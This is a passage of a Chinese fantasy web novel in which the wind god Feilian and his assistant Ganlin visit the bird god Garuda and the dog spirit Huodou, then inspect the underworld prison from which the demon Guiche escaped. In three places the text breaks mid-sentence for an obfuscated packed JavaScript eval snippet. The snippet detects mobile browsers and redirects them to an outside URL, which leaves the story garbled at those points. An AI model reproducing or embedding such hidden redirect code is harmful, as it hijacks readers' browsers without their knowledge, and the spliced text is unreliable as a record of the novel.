“那必须的,孰湖简直就是小天使,长得还可爱,对我也很照顾。”甘霖拍着胸脯保证,“大人请放心,我绝对会团结同事,做好工作的。” 飞廉喉结滚动了一下,抬脚就跨出了正好打开的电梯门。 “大人等我!”甘霖赶紧跟上去,穿过电梯门的结界,眨眼间就来到了忘川前。 他看到飞廉停下脚步,侧头似乎是在等他,就是下颌有些紧绷,也没有多想,赶紧上去抓住对方的衣袖,“这里到处都是把我当菜吃的东西,你别走这么快呀。” 说完他惊讶地看着周围,“幽都这么热闹的吗……还有旅行团?!” 甘霖前两次来都是直接去的承泣的办公室,还是第一次看到外面,只见忘川两边店铺林立,虽然没有人间那种高楼大厦,但基本都是三四层红瓦黑墙的仿古建筑,来来往往的人熙熙攘攘,还有站在奈何桥上拍照打卡和直播的。 “怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15188803|164859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么这么多人,奈何桥忘川什么的是可以播出去的吗?”甘霖大为震惊,“而且现在已经凌晨三点了啊。” 飞廉还有些气不顺,抿了抿嘴还是解释道,“神仙妖魔鬼怪精灵的数量不比人间的凡人少多少,天界幽都都有自己的原住居民,有舆论网络监督科在,他们发的东西人类是看不到的,三界时间本就不同,没什么妨碍。” 说完看甘霖还想问东问西,飞廉干脆一个响指,他们立马来到了一个相当明亮灿烂的地方。 明亮到炫目的地步,甘霖揉了揉眼,看着半空中那个跟太阳似的球体,非常震惊,“那是什么?!”是他想的那个东西吗。 “人工太阳啊,不然温度不够,小鸟很难孵化出来的。”一个痞里痞气的声音道。 甘霖看过去,一把华丽的黄金大宝座上,一个穿着红色华丽衣袍,带着镶嵌各种宝石的大金链子,脖子里还带着条粉色羽毛围巾,头上插着几根五彩缤纷的羽毛,面容英俊秀美,表情粗野蛮横的男人,正抱着一个篮球大的黑色鸟蛋……温柔抚摸。 男人看向飞廉,收起蛮横,面无表情地点了点头,“飞廉大人,千年不见,我孵蛋呢,就不行礼了。” “他就是迦楼罗。”飞廉对甘霖说,然后看了一圈,“这地方看上去不错。” 迦楼罗嗤笑了一声,“刚过来不到一天,有什么好不好的,幸好帝释天用须弥山的芥子技术帮我压缩了禽鸟园,关键时候我揣兜里带着就走了,不然昨天非和龙族碰上,我倒是不介意打一架,就是怕承泣难做。” “多谢你照应承泣。”飞廉走过去,坐在迦楼罗下手的一把椅子上。 甘霖还在看这个所谓可以压缩的三次元空间,有很多树,看着像个鸟类散养基地或者什么湿地公园,不过那些树都异常高大,上面还高高低低架着不同尺寸样式的树屋。 迦楼罗的黄金大宝座和待客用的桌椅就随意地摆在中间的空地上,看着突兀又奇怪。 “听说飞廉大人出山了,没想到会来办事处工作,真不愧是三界第一长情之人。”迦楼罗看向甘霖,扯了扯嘴角,岔开话题,“此番找我什么事?” 飞廉反手拿出两样东西,是蛊雕脖子上的缚妖索和黑红色灵力的集合球,“我其实是来找祸斗的,让他帮我看看,这两样东西的来源。” 迦楼罗定睛一看,“这不是缚妖索嘛,你应该去找神器装备科啊。” “只是普通的缚妖索,神器装备科也不会有记载,但祸斗一定能闻出什么信息。”飞廉道。 迦楼罗很烦躁,“老子真不爱叫那个家伙,一天天地跟脑子有病一样,我好不容易迷晕他找点清净。” 飞廉道:“他跟着你上万年,三界来回跑,帮你打了多少条龙,现在也去不了人间,你就对他好点吧。” 迦楼罗搓了搓火红色的头发,张开嗓子大喊了一声,“祸斗!” 这一声贯绝长空,犹如凤鸣龙啸,不是单纯的声音大,而是有种醍醐灌顶的震撼感,他的心跳莫名加快,忍不住拍了拍胸口。 “怎么了?”飞廉立马问。 “不知道为什么,总觉得迦楼罗这一声以前好像听过似的。”甘霖抬头看着飞廉笑笑,“不过不可能对吧,或许只是错觉。” 飞廉呼吸一滞,看着他漂亮眼睛和秀丽的面庞,偏过头,良久才“嗯”了一声。 10.10.爱狐(十)小山鸡和爱他的狗 迦楼罗嚎出那一嗓子后足有四五分钟,丛林深处才发出了一点动静。 “迦楼罗!给我下药,你是不是又跑去青丘和那些死狐狸鬼混了!”嗓门比起迦楼罗不遑多让。 迦楼罗立马炸了,漂亮的凤眼几乎要喷火,“你别胡说!那是我上次去青丘买来偷偷藏起来的!” 一问一答间,一个高大的身影已经冲了过来,黑衣黑发,深红色的眼睛,蜜色的皮肤,器宇轩昂,棱角分明,十分英武。 他丝毫没有看到飞廉和甘霖,只是立在迦楼罗面前大吼,“说了别孵蛋别孵蛋,你把我迷晕就是为了这个该死的蛋!你那么喜欢怎么不给我生一个,孵自己的蛋啊!” “说了不能生不能生!尼玛的,老子是雄鸟,不能生!”迦楼罗也吼,举起手里的黑色篮球,“你睁大你的狗眼看清楚,这可是青鸾,三界仅剩最后一只的青鸾!” 甘霖这才看出来那个篮球大的蛋并非纯黑色,而是近似于深蓝色,还会变光,像一颗巨大的黑珍珠。 祸斗更生气了,“我就知道,你耗费灵力孵这个鸟蛋,你就是和青鸾有一腿!” “闭上你的狗嘴!”要不是忌惮怀里的蛋,迦楼罗真是恨不得飞起来变回原形啄祸斗几口,“要不是你乱吃飞醋,青鸾会提前应劫吗,他要不提前应劫会轮回成蛋还无力破壳吗!我不把他孵出来,怎么去昆仑找西王母邀功,把你赔罪的时候抵出去的火精赎回来!你个狗东西,别在飞廉大人面前狗叫,让人看笑话了!” 这可真是一出精彩的好戏,甘霖看得津津有味,要是有一把瓜子就更完美了。 “你、你……”祸斗的声音软了下去,丧眉耷眼的,“原来都是为了我。” 说完他丝滑转身,一脸灿烂的微笑,给飞廉抱拳行礼,“飞廉大人,许久不见,让你见笑了。” 飞廉见怪不怪地摆摆手,没有一句废话,“祸斗,我有事找你。” “飞廉大人稍等一下。”祸斗转身拿出迦楼罗怀里的蛋,转手就收了起来,“你别让我看到你孵青鸾的蛋!等我不在的时候再说。” 迦楼罗立时就要发作,结果看着他的眼睛,最后也只是“哼”了一声,撇过头懒得和他计较。 “就知道你最爱我。”祸斗上前顶着迦楼罗的额头蹭了蹭,语气欢快。 甘霖觉得这祸斗肯定是个妖怪,因为一举一动都有种动物的既视感,他太好奇了。 “大人您说。”祸斗看向飞廉。 飞廉拿出缚妖索和灵力球,“你帮我看看,能闻出什么吗?” 祸斗拿起看了看,“待我化形,不然影响发挥。” 来了来了!甘霖期待地搓搓手。 说话间祸斗的身体不断地变形,变成了一只两米高四五米长,双眼赤红如火,足下踏着火焰,尾巴犹如浓黑雾气一般摆动散逸的巨大黑犬。 果然是只狗!甘霖猜对了,心中暗笑,怪不得这两个人相处这么剑拔弩张的,迦楼罗骂人一句一个狗字,这不就是鸡飞狗跳嘛,亏他们能在一起近万年。 不过刚出场时以为是一只杜宾,现在看来更像哈士奇。 祸斗凑到飞廉手中闻了闻,然后重新变回了人的模样,一脸思忖的表情。 “怎么了?”迦楼罗问,“没闻出什么就没闻出什么吧,你别不说话啊。” 祸斗摇摇头,“不是,你记得鬼车吗?” 迦楼罗翻了个白眼,“天底下有我不知道的鸟吗,当然记得了,百年前不是因为吃人的事情被封印了,怎么了?” 祸斗拿起缚妖索和灵力球,“这上面全是鬼车的味道。” “不可能。”迦楼罗从黄金大宝座上站起来,“鬼车被封印在第十八重冥司里,由专人看守,怎么可能出来?” 祸斗把灵力球拿给他,“但凡和你接触过的人我绝对不会忘记他们的味道,你自己看看这灵力。” 迦楼罗接过灵力球,闭上眼感受了一下,面色大变,“真是鬼车,可她怎么会跑到人间去,还和蛊雕混在一起。” “我去找承泣。”飞廉站起身。 “我和你一起去。”迦楼罗道,“事关禽族,不能姑息。” 祸斗拉住他,“你别去了,龙族最近搞了个三界游学,每天都有来幽都的,你别撞上他们,到时候他们又要去天庭告状,给承泣大人和养殖园那边添压力。”说完他拿出那颗青鸾的蛋,“给你,你就在这里乖乖孵蛋,我会帮着飞廉大人找回鬼车的。” 迦楼罗不放心地反握住他的手,“你也是,他们要是说我的坏话你就任他们去说,别吵架。” “我知道。”祸斗俯身亲了亲迦楼罗的额头,顺了顺他华丽的羽毛围巾,“回来给你带风干龙肉。” 迦楼罗抱着青鸾蛋坐回宝座上,“要两包麻辣味的。” 祸斗“嗯”了一声,转过身,“走吧,飞廉大人,我和你一起去看看。” 飞廉颔首,走到迦楼罗面前伸出手,一股白色的灵力顺着他的指尖缓缓注入青鸾蛋,“火精事关三界稳定,早点孵化把祸斗的火精换回来。” 迦楼罗怔了一下,“谢谢飞廉大人。” 他们离开神禽管理处去了承泣的办公室,承泣玩游戏玩得日夜颠倒,正仰面躺在办公椅上,双腿交叠翘在办公桌上,戴着个黑色的真丝眼罩,大睡特睡。 飞廉抬手就掀掉了承泣的眼罩,“还睡,鬼车都跑了。” 承泣没睡醒,神色难看地坐起身,“第十八重冥司有那么多结界和守卫,灵力的流转也会被阻滞,不能使用法术,跑不掉的。” 飞廉一脸严肃,“我是这么教你的吗?过分自信,掉以轻心,现在立马去查。” 承泣神色冷厉,但对于飞廉的话他还是听的,“我这就打电话。” 几个人坐在办公室里神色凝重地等消息。 已经凌晨三四点了,甘霖熬到了极限,脑子昏昏沉沉,感觉躺下就能立马睡着,他知道这会儿不是睡觉的时候,但实在是忍不住,意识就那样陷入了黑暗。 等他猛地低了一下头惊醒的时候,发现自己靠在飞廉的肩头,承泣和祸斗都神色莫名地看着他,但谁也没叫醒他。 “抱歉,我太困了,睡了很久吗?”甘霖擦着嘴角坐直身体。 飞廉收回撑着他身体的胳膊,“几分钟罢了。” “第十八重冥司就是十八层地狱吗?”为了保持清醒,甘霖开始找话题,聊聊天,“那离地面有多远啊?靠近地心了吗,会不会很热?” 飞廉和承泣一脸淡漠,祸斗哈哈大笑,“我刚就想问了,这位是谁?” “我叫甘霖,是飞廉大人的助理。”甘霖自我介绍,眨眨眼,“我的问题很好笑吗?” “幽都是次元外的空间,并不是在你所谓的地底,是一整个平面,而且十八重冥司只做职能的区分,并不是真的上下十八层,第十八重冥司现在已经是专门用来封印三界犯下罪行的人的地方,那里不能运转灵力,有无数复杂且功能不同的结界和法器,只能步行前往,所以消息传递会比较慢。”祸斗帮他解释。 承泣冷眼看他,“办事处十楼是图书馆,没事儿多看看,常识性的东西最好知道。” 甘霖微笑,“前两次见面都没听到承泣大人的声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15194426|164859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,今天话倒是格外的多,是因为被飞廉大人训斥了,所以对作为他下属的我也另眼相看了吗?” 承泣眉眼立刻像淬了冰一样,“你说什么?” “我说常识性的东西飞廉大人会教我的,就不劳您费心了。”甘霖靠近了飞廉一点,“对吧?” “嗯。”飞廉看了他一眼,视线又随意地扫过承泣,暗含警告。 承泣无语,“那就好。” 甘霖抬手掩面,小声道,“不愧是飞廉大人,连冥君都不敢造次,我感觉跟着你,这三界再没什么好怕的了。” 确实没什么好怕的,飞廉“嗯”了一声,“跟紧些,以防万一。” 祸斗在一旁撑着下巴看了半天,对着甘霖的脸露出恍然大悟的表情,但并没有多说什么,只是从口袋里掏出一把形状不规则的红宝石一样的石头,“既然是飞廉大人的助理,以后少不得还要多打交道,我并没有什么职务,不过我家那只小山鸡好歹也是神禽管理科的副科长,还要请你多多照顾了,这个就当见面礼,拿着吧。” 甘霖还是第一次见有人上来就拿宝石当见面礼的,还是一大把,足有十来颗,“这,这太贵重了吧。” “是我灵力的结晶,可以用来设结界造法器,还算是有用的东西,可以在幽都或者天界以物易物,换点东西,拿着吧。”祸斗爽快道。 这不就是可以当钱花的硬通货吗! 甘霖捧起双手,“这多不好意思。” 祸斗把灵石放进他手心,“拿着吧拿着吧。” “这实在是太贵重了。” “没关系没关系。”祸斗又掏了一把,“你喜欢就好。” 甘霖捧着一堆灵石看向飞廉,“大人,这能收吗,会不会违反什么规章制度或者纪律啊。” 飞廉表情有些奇怪,但看着甘霖期待的大眼睛,最后还是妥协地偏过头,“拿着吧。” 甘霖左右看了看,上前从承泣的办公桌上拿了一张大纸,把灵石好好地包起来,然后低声问祸斗,“这东西要是换算的话,大概值多少钱啊。” 祸斗摸了摸下巴,“几十年没去过人间了,不过三界为了工作和流通方便,货币价值都统一向人间看齐了,幽都也有专门的货币兑换点,这一堆也就值个几万块吧。” “几万……咳咳!”甘霖差点被自己口水呛到,“你得多有钱啊。” “还行吧,怎么说也活了这么多年,有点收藏也正常,而且你不知道,我家那只小山鸡和其他的鸟其实没啥区别,就喜欢那些亮晶晶的华丽的东西,养他很费钱的。”祸斗道。 他嘴上抱怨,但甘霖看他要是变回狗,肯定恨不得把尾巴摇断的嘚瑟模样,就知道他根本就是乐在其中。 甘霖回头看向飞廉,“大人,你也很有钱咯。”毕竟上古神祇,是三界活得最久的。 飞廉看了他一眼,抬手在他掌心一点,他手心立马出现了和祸斗的灵石差不多,近乎白色的淡蓝色灵石,更大更透明,就跟钻石似的,“拿着吧。” 甘霖没这个意思,不过谁会拒绝白花花的钞票呢,“谢谢大人!” “简直毫无底线。”承泣偏头,不想多看一眼。 手机响起,他接通打开免提。 “冥君大人,封印鬼车的赤霄笼碎了,守卫的两只山魈都死了,鬼车也不见了!” 承泣“唰”地一下站起身,“调派人马过去,严加看管别的结界和法器,去第九重冥司请穷奇和饕餮,就说他们提出的要求我答应了。” 飞廉皱眉,“叫九婴去看守固疆狱,无论如何,那里面的东西决不能出问题。” 11.11.爱狐(十一)欢迎来到十八层地狱 “十八重冥司又叫无间处,在里面的不管是神仙还是妖魔,是永世不得离开的。”承泣脸色冷硬,“关押的罪人修为都被抽干到濒死的地步,除了身上有特殊咒印的守卫可以使用最低限度的灵力,几乎没人能在无间处用法术,鬼车到底是什么逃出去的?” “先去看看。”飞廉道,“祸斗一起。” 祸斗对着甘霖弹了下舌,“这就来活了,我就是这么赚钱的,可以叫我妖怪雇佣.兵,我可是很贵的。” 甘霖的确很好奇祸斗没正式工作是怎么赚钱的,但他并没有问出来,“你怎么知道我想问什么?” “闻到了你身上疑惑的味道。”祸斗吸了一下鼻子,“不要小看我这三界第一的嗅觉。” “走。”飞廉一把拉住甘霖,四人瞬间消失。 甘霖连眼睛都没来得及眨,就已经到了一个全新的地方。 很难形容他此时所看到的世界,天空明亮但昏黄,没有太阳,就像沙尘暴时的天空,但空气意外地干净澄澈,似乎还充满了灵气,又让他觉得有点舒服。 周围的环境平常又特殊,平常就平常在高低起伏,有山林平原,也有道路河湖,特殊就特殊在那些植物石头什么的,全部都奇形怪状,颜色也很奇怪,是人间看不到的样子,透着诡异和恐怖。 不远处还有一条蜿蜒的河,只不过水流是血红色的,里面还有说不清的漂浮物,看着像是一个个形容恐怖惊惧的干尸头颅,让他毛骨悚然。 “这里就是十八层地狱?”没有凡人能不害怕这种地方,甘霖都忘了祸斗刚才的话了,“那是忘川吗,怎么和奈何桥附近的不一样。” “第十八重冥司,又叫无间处。”飞廉又解释了一次,往甘霖身边挪了两步,“这里是忘川的上游,世间所有亡魂都要从这里进入忘川,所以这里的河水承载了最多的污秽和罪恶。” “哦对,不是地狱。”甘霖嘴上这么说,心想这不还是十八层地狱,还是有些胆寒,一抬手就抓住了飞廉的袖子,完全没有意识到对方是什么时候离他这么近的。 “十八重冥司职能不同,虽然大致上划分为十八重冥司,实际上大冥司又包含无数小冥司,体系职能是严格而复杂的。”承泣微微回头,“你要真的想了解,多看看书。” 甘霖懒得理他,什么淡漠如水美少年,果然都是错觉,根本就是个脸臭嘴毒的中二病,而且不知道为什么,对方对他好像很有敌意。 “我还指望哪天能把我这阴阳眼的毛病治好了,去找个正经工作呢,每天都在这种地方来来回回,还能治好吗?”甘霖期待地看向飞廉。 他有一米八,但比飞廉矮半个头,此时两个人靠得很近,飞廉一低头,两个人的脸只隔不到一掌远。 飞廉呼吸微滞,下颌紧绷,甘霖倒是很坦然,表情没有任何变化,眨巴着杏仁眼,“怎么了?” “我会想办法。”飞廉移开脸,“不过有些事情一旦发生,就会永远留下印记。” “哦。”对这个答案甘霖倒是没什么意外的,毕竟东王公也说过,除非机缘巧合能找到消除他身上沾染幽都灵气的办法,不然这个阴阳眼是好不了了,“不管怎么样还是要多谢大人。” 他们走了很久,但完全感觉不出长短距离,因为那些奇怪的山和血红色的河都没有任何的变化。 承泣伸手捏了个诀,在半空中虚点了一下,被点过的地方的空气就出现了奇怪的扭动,像一面泛着波浪的镜子,然后他走进镜子,消失了。 其他人也紧跟着进去。 瞬息之间,眼前的景象完全变了,甘霖松开了飞廉的手。 地上全部都是嶙峋的黑色石头,像极了现世西北戈壁滩上的雅丹地貌,到处都长着一丛丛芦荟一样的黑色植物,路两边零星散布着一些风格怪异的建筑,不时地传来凄厉的惨叫,一声一声地让甘霖毛骨悚然。 靠近了他才发现,那黑漆漆的石头并不是原本就是黑色,而是上面的血迹干涸之后变成了黑红色,那植物也是,每一片叶子其实都是带着锯齿的刀刃,上面鲜血淋漓,锈迹斑斑。 “小心些,那叫‘不为人草’,能直接把魂魄切成两半。”飞廉站在原地,看着甘霖一脸菜色地蹲在一株不为人草旁观察,于是出声提醒道。 甘霖赶紧站起身,心有余悸地退了两步,“不为人草?好奇怪的名字。” “因为被它切过的魂魄永远都不能再转世为人,只能入畜生道,所以才得此诨名,幽都很多刑具都是以它作为原材料的。”飞廉等甘霖过来才迈步继续向前。 路上偶尔有人对他们弯腰九十度行礼,承泣只是淡淡点点头,但飞廉几乎全部无视了。 “这里居然还有人住?”甘霖看着远远近近的黑色房子。 “即使是人间最苦寒或最艰难的地方也有居民,幽都也一样。”承泣没有回头地解释。 甘霖不能理解,对着飞廉小声蛐蛐,“他那么讨厌我干嘛还要搭理我?” 飞廉沉思了一下,“或许是想引起你的注意。” “胡说。”承泣冷傲回头,“我是嫌他蠢罢了。” 甘霖叹息,“其实我不喜欢他那样的。” 飞廉刚要张嘴,祸斗已经竖着耳朵凑了过来,一脸八卦,“那你喜欢什么样的?” 甘霖想了想,“反正不是他那种皮肤很白很漂亮的,我从小到大喜欢的男生好像都是黑皮体育生,不仅要英俊帅气,身高腿长,肩宽腰细,还要有八块腹肌人鱼线!” 祸斗一脸刮目相看,“你几岁啊,看不出你感情史这么丰富呢?” 承泣微微回头,视线扫过飞廉的眼睛,最终还是没说什么。 “哪有那么容易,以上纯属我个人理想型,这么多年也不是没遇到过,基本都是渣男,所以到现在我还没谈过恋爱呢。”甘霖摸了摸下巴,难得自我反省,“可能是我要求太高了,始终也遇不到合适的呢。” 祸斗笑了笑,“放心,你马上就能遇到理想型了。” 他们慢慢靠近了远处那道像是黑色墨水勾勒出来的山脊线,周围的景象也越来越荒芜。 老远甘霖就看到地上围着一群人,走到跟前才发现那些事穿着黑色西服的幽都冥差,中间是两只山魈的尸体。 这两只山魈和现实中的灵长类动物山魈几乎一模一样,只是要大得多,接近三米的身高,完全就是巨大的妖兽,和他们一比,蛊雕都显得娇小可爱了。 “这,什么东西能打死这么大的山魈?!”甘霖被震撼到说话都打结了。 在今天之前,他见过最大的生物不过是动物园的大象,可这两只山魈看着比大象还要大一圈。 “这两只山魈都有上千岁了,已经能够化形,离得道飞升只有一步之遥,实力强悍,在幽都工作五百年从来没有出过差错。”承泣看着山魈的尸体说。 这时走过来一个冥差,弯腰举起双手,掌心向上托着什么,不敢看承泣的脸,“冥君大人,赤霄笼已经坏了。” 甘霖伸长脖子,想看看这个赤霄笼是个什么东西。 飞廉伸手,“给我看看。” 承泣点了一下头,那人立马弓腰过来,“风神大人请看。” 飞廉伸手拿过,甘霖也得以看清所谓的神器。 那是一个外形和大小都和竹编的蝈蝈笼子差不多的东西,不过是红色的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15196999|164859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,也看不出什么材质,上面缠绕着金线编织的咒文,还有一些红色宝石的点缀,看着像是个昂贵的工艺品,不过现在这个工艺品上破了一个洞,里面飘出丝丝缕缕的红色雾气。 “这么小?”甘霖惊讶。 “里面的空间是无限的,会根据关押犯人的罪孽变化不同的场景,施加合适的刑罚。”飞廉抬头,“祸斗,你来看看。” 这次祸斗不用变形都能闻出来,“是鬼车的味道,还有……”他表情变得有些为难,“说不好,好像有点熟悉,但又很陌生的味道,或许就是打破赤霄笼带走鬼车的人,对不上号。” “说明是你没见过的人……三界还有你没见过的人吗,能闻出是什么种族吗?”飞廉问。 祸斗摇头,“闻不出来,不是我认知中的任何一个种族。” “山魈是被毒死的,承泣,让人把这两个山魈送去三界食药用资源局,看能不能查出是什么毒药,能查明来源是最好的。”飞廉把赤霄笼也递过去。 原来这两只山魈是因为中毒所以脸才会变成红色,甘霖还以为他们是妖兽所以才和普通山魈淡蓝色的脸不一样呢。 承泣点点头,甩出个乾坤袋把山魈的尸体收进去,递给一位冥差,“立刻送过去,加急查验。” 说完他皱眉看着赤霄笼,“这可是上古神器,上面用来布阵的灵石都是当年从烛阴的火精里炼化出来的,送去神器装备科也不知道能不能修好。” 祸斗一脸正直爽朗地摇着不存在的尾巴,“冥君大人要是能贡献点灵力帮我家小山鸡孵化那颗青鸾蛋,早点从西王母那帮我把火精赎回来,我可以把火精租给你帮你修补赤霄笼,价格优惠。” 甘霖:一看就知道就算优惠了也超级贵。 “也对,你是烛阴养大的,烛阴陨落后,你手中的火精就成三界最后的火精了。”承泣点点头,他伸手,深蓝色的灵力在他掌心流转汇聚,最后成了一个海水般深蓝色的,排球大小的灵力球,“你别打扰迦楼罗,早点把火精换回来,那个东西在昆仑待久了,三界会失序的。” 祸斗接过灵力球,“放心,有你和飞廉大人的灵力,保证不出十天就让青鸾孵化。” 之后他们又回到了承泣的幽冥殿。 “要尽快确认鬼车的位置,他还抓了壁水貐。”飞廉打了个电话叫孰湖和丁令威过来。 电话刚挂,两人就瞬间移动至大殿外头,丁令威一副压根没睡的样子,表情精神,衣服板正,头发一丝不苟,但孰湖眼睛都睁不开,拖着步子明显没睡醒。 甘霖被惊到了,“孰湖,你……你缩水啦?” 承泣嗤笑一声,“这么多年了,你还装样子呢,也不怕浪费灵力。” 听到承泣的声音孰湖瞬间清醒,“你胡说!这才不是装样子,这是保持威严,威严!” 可惜了,他这会儿一米七,纤细瘦弱,娃娃脸上蓝色的大眼睛水汪汪的,和威严两个字八辈子都没啥关系。 甘霖低声问飞廉,“我以为你们想让自己什么样子就是什么样子的。” “理论上如此,不过本貌是天生的,此外的形态就像法术,是需要花费灵力的,和本貌差别越大花费灵力越多。”飞廉侧头对他道。 “怪不得办事处那些同事有些都还是兽头人身,那就是他们的本貌吧?” 飞廉点头,“嗯。” 甘霖抬头看向飞廉,光滑黝黑的皮肤,风华绝代的五官,自然随性的头发,淡漠如风的气质,真的是他见过最完美的人了,“难不成飞廉大人你也……” 飞廉淡淡地看了他一眼,甘霖乖乖闭嘴。 没必要,飞廉大人真没必要。 12.12.爱狐(十二)三界最粗大腿要抱紧 孰湖已经变回了两米壮汉的样子,叉腰怒视承泣,“你别想再仗着身高欺负我了!” 承泣上下扫了扫他比起本貌不怎么协调的身体,不知为什么眼神似乎有些生气,表情又像是觉得无聊,“童颜壮汉,难看死了。” “反正又不是要你看!”孰湖怒怼,转过身看着飞廉,“大人,我们快点工作吧!” 飞廉拿出斩杀蛊雕后收集的鬼车灵力,一分为二,分别给丁令威和孰湖,“鬼车不会一直待在一个地方,她待过的地方都要去查,先回市区。” 他们回到了办事处的围墙外,北方冬日的凌晨五点,依然是沉沉黑夜。 “接下来就交给你了。”飞廉对祸斗说。 甘霖不知道飞廉要做什么,但直觉他要放大招,左右看了看,站在了祸斗身后。 飞廉看了看他,什么也没说,脚尖轻轻一点就飞上了天空。 承泣也看他,“你干什么?” “找个安全的地方躲一下嘛,免得飞廉大人发大招的时候波及到我,这样他也比较没有顾忌啊。”甘霖摊手,“这很难猜吗?” “你可以站在我后面,我比祸斗厉害。” 甘霖叹了口气,“你这样吸引我的注意力我很为难啊,再说祸斗是有夫之夫,我也是有底线的好吗,在你眼里我到底是个什么样的人啊?” 承泣撇过头,“肆意妄为,风流浪荡,花心萝卜。” 甘霖:你说的这个人到底和我有什么关系,我们才见三次面好吗! “你不要因为我上辈子的事对我抱有偏见。”甘霖无语,“你肯定是偷看了我的前世。” 承泣冷哼一声,没有再说话。 飞廉停在百米高空,双手掐诀,口中念辞,甘霖眼睁睁看着除了他以外的人头发开始狂乱飞舞,和壁水貐下的灵雨一样,此时飞廉制造的风也是他这样的凡人感受不到的,他算是白躲了。 祸斗瞬间变身三米高的黑色巨犬,对天长啸一声,火红的眼底似乎有火在燃烧。 甘霖观察着这个奇怪的风,每个人头发飘动的方向都不一样,风从四面八方而来,吹向中心的祸斗。 这是飞廉用风让祸斗寻找着城市中鬼车的灵力残余。 半分钟后,祸斗又叫了一声,风立刻戛然而止了。 飞廉轻轻落地,“怎么样。” 祸斗点点头,抬手在空中一画,一个全息投影一般泛着淡淡红光的全市立体地图就出现在了众人面前,就像一个透明的沙盘一样,每条马路,每栋建筑都真实还原了现实情况。 甘霖伸手,手指没有任何阻挡地冲过了投影出的建筑,“哇哦,这到底是科学还是法力啊。” “这是我自己开发的法术,毕竟我接的活基本都是靠我这鼻子找东西的,要论还原地图,三界我称第二没人敢称第一。”祸斗得意洋洋地说。 “不愧是狗鼻子。”甘霖笑眯眯地夸,“那三个红色光点的地方就是有鬼车灵力的地方吗?” 祸斗很自豪,“没错,不过我只能闻味道,闻不出浓度大小,所以她本体在什么地方,我也不知道。” 飞廉看了眼天色,“天亮鬼车就会销声匿迹,抓紧时间,兵分三路。” 承泣拽了把比他还高半个头的孰湖,“我们走这边。” 孰湖瞪圆了大眼睛,“我干嘛和你一起,我和老丁,你和祸斗大人去。” 承泣:“动动脑子,甘霖先不说,你俩是六个人里实力最弱的,凑一块上赶着给鬼车杀?” 孰湖抱着胳膊扭过身体,“反正我不和你一起!” 祸斗笑着揽过孰湖,拍了拍他的肩膀,“我和他一起,冥君大人和这位老丁一起吧。” 甘霖不用多说,肯定抱紧三界最强大腿飞廉,他看了眼地图,指着西北方向的红点,“飞廉大人,我们去这个吧。” 飞廉不动声色地和承泣对视了一眼,“为什么?” “就是一种感觉。”其实甘霖刚才看到从西北方向吹来的风里有丝丝红色,但实在是太浅了,比公园里斩杀蛊雕是现场残留的灵力还要浅,他都有些怀疑是自己因为实在太瞌睡眼花了,所以也就没有说出来。 飞廉点头,“我和甘霖去西北,另外两个地方你们自己分。”说完他朝甘霖伸出手。 甘霖脑子已经困蒙了,低头看着他的手,拍了一把,“加油!” 飞廉微不可察地叹了口气,“抓住,不然你要走过去?” “哦,对。”甘霖反应过来,伸手抱住飞廉的胳膊,把头枕在他结实的肱二头肌上,闭了闭眼,“飞吧。” 飞廉迟疑了一下,带着他直接瞬移到了目的地。 这是个首都城市,无论是面积还是人口都是前三大,这几年随着城市化的发展,和周围的卫星城市慢慢融合,实际上常住人口的活动范围比地图上的行政区划还要大。 祸斗地图上看似一个精确的点,放在实际位置范围至少有方圆一两公里那么大。 落地后冷风吹得甘霖清醒了不少,他松开飞廉的手往边上走了走,夜色很亮,虽然没有灯,但是周围的环境能看的很清楚,他们现在站在至少十环开外的环城山区的一座小山头上,远远地能看到一两点山坳里住户的灯光。 “躲这么偏僻的地方,鬼车是个什么样的妖怪?”甘霖这么问的时候,脑海里不由地出现了吉卜力的猫巴士,幻想一个长着可怕鬼头的大马车,车厢里关着十来只吃人的鸟。 飞廉伸手拨动了一下空气,两人面前就出现了一个幻影,在黑夜中有些模糊,但足够让甘霖惊讶了。 “这……么漂亮,我还以为是个男妖怪呢。” 那是一个身形婀娜妖娆的女人,赤红的头发在空中飘荡,幻影看不清五官,但他依然能感受到这绝对是一个惊艳妖媚的绝色美人。 “禽族无论男女都是绝色。”飞廉看着四周,淡淡道,“鬼车,凡间常称呼她为九头鸟,在禽鸟一族也是地位极高之人。” 甘霖想了想,禽鸟一族他只见过迦楼罗,确实是俊中带媚,气质独特,“这么厉害的人为什么会沦落到被抽干修为永世关押的地步?” “六千年前,三界未分,鬼车十首俱全,是南方一个大部族的守护神和崇拜的图腾,但后来她和青丘发生冲突,屠杀了青丘上百狐族,被帝鸿带人斩下一头,彻底沦为了魔障。” 甘霖想了想,脸蛋皱成一团,“尸首俱全?哪几个字,什么意思?” 